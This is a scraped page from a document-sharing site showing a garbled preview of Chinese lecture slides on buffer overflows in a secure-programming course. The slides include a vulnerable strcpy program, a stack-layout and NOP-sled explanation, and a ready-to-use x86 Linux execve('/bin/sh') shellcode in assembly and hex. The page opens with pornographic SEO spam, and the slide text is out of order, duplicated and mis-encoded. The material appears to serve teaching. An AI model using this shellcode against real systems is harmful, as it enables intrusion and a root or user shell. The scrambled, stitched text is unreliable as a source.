freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

李鳳華--計算機安全與保密技術(shù)--第十章-展示頁

2025-03-07 12:32本頁面
  

【正文】 /bin/sh”, 0esi+8: cmd, 0 esi == cmd運行程序路徑exec植入代碼如何編寫jmp label2label1: pop esimov [esi+8], esixor eax, eaxmov [esi+7], almov [esi+12], eaxmov al, 0bhmov ebx, esilea ecx, [esi+8]lea edx, [esi+12]int 80hxor ebx, ebxmov eax, ebxinc eaxint 80hlabel2: call label1cmd: db “/bin/sh”, 0esi+8: cmd, 0 esi == cmd_exit植入代碼二進制格式char shell_code[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0” “\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c” “\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh。用同樣選項,插入一段代碼,重新編譯216。該偏移不需要精確為什么偏移不需要精確?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN……….NNNNNNOPNOP……..NOPRealCodesESP SayHello棧幀retip0xNNNNNNNN代碼起始地址如何確定p問題已轉(zhuǎn)化為用 ESP加上某一偏移216。Our codes該怎樣寫216。SayHello函數(shù)局部變量區(qū)大???216。} 進一步思考 …… 發(fā)生了什么事發(fā)生了什么事 ??幾個要點pLinux及其它 幾乎所有 Intel x86系統(tǒng)、 Solaris, etcp分頁式存儲管理p平面內(nèi)存結(jié)構(gòu), 4GB或更大邏輯地址空間p棧從下往上生長pC語言不進行邊界檢查進程內(nèi)存布局代碼區(qū)數(shù)據(jù)區(qū)堆棧段字符串向下生長棧段向上生長0x000000000xFFFFFFFF調(diào)用 SayHello之前的棧main函數(shù)局部變量區(qū)lastfpretipargcargvenv…...ESP main棧幀進入 SayHello后的棧tmpName[80]mainfpretipnamemain棧幀…...ESP SayHello棧幀準備退出 SayHello的棧 (情況 1) puter. …………..mainfpretipnamemain棧幀…...ESP SayHello棧幀 main中 return 0。 } SayHello(argv[1])。}int main(int argc, char** argv){ if (argc != 2) { printf(Usage: hello name.\n)。 strcpy(tmpName, name)。 return 0。 return 1。 /* Do some checks for tmpName. */ printf(Hello %s\n, tmpName)。Kernel 第一個程序include include void SayHello(char* name){ char tmpName[80]。網(wǎng)絡(luò)安全第 十 講 安全程序設(shè)計本講內(nèi)容 現(xiàn)實中的一些安全問題 從幾個程序談起 程序失敗的其它例子 現(xiàn)實中的一些安全問題p我的我的 口令就是我的用戶名后加上口令就是我的用戶名后加上 123p我的口令是我的口令是 Q47pY!3, 每隔每隔 90天就更換一次天就更換一次p 強而有效的不可破解的加密技術(shù)隨處均可得 到(盡管有各種各樣的進出口限制)?不攻擊加密技術(shù),攻擊其應(yīng)用的底層基礎(chǔ)設(shè)施?不攻擊加密技術(shù),攻擊其實現(xiàn)?不攻擊加密技術(shù),而從用戶方面入手Why Security is Harder than it Looksp所有軟件都是有錯的p通常情況下 %無錯的程序很少會出問題p同安全相關(guān)的 %無錯的程序可以確信會被人利用那 %的錯誤%安全問題等于 100%的失敗 從幾個程序談起p程序運行平臺216。Redhat Linux 216。 strcpy(tmpName, name)。}int main(int argc, char** argv){ if (argc != 2) { printf(Usage: hello name.\n)。 } SayHello(argv[1])。} 運行情況$ ./hello puterHello puter$ ./hello aaaa………………………………………………………….aHello aaaa……………………………………………………………….aSegmentation fault (core dumped) Why????檢查一下程序include include void SayHello(char* name){ char tmpName[80]。 /*
點擊復(fù)制文檔內(nèi)容
教學(xué)課件相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1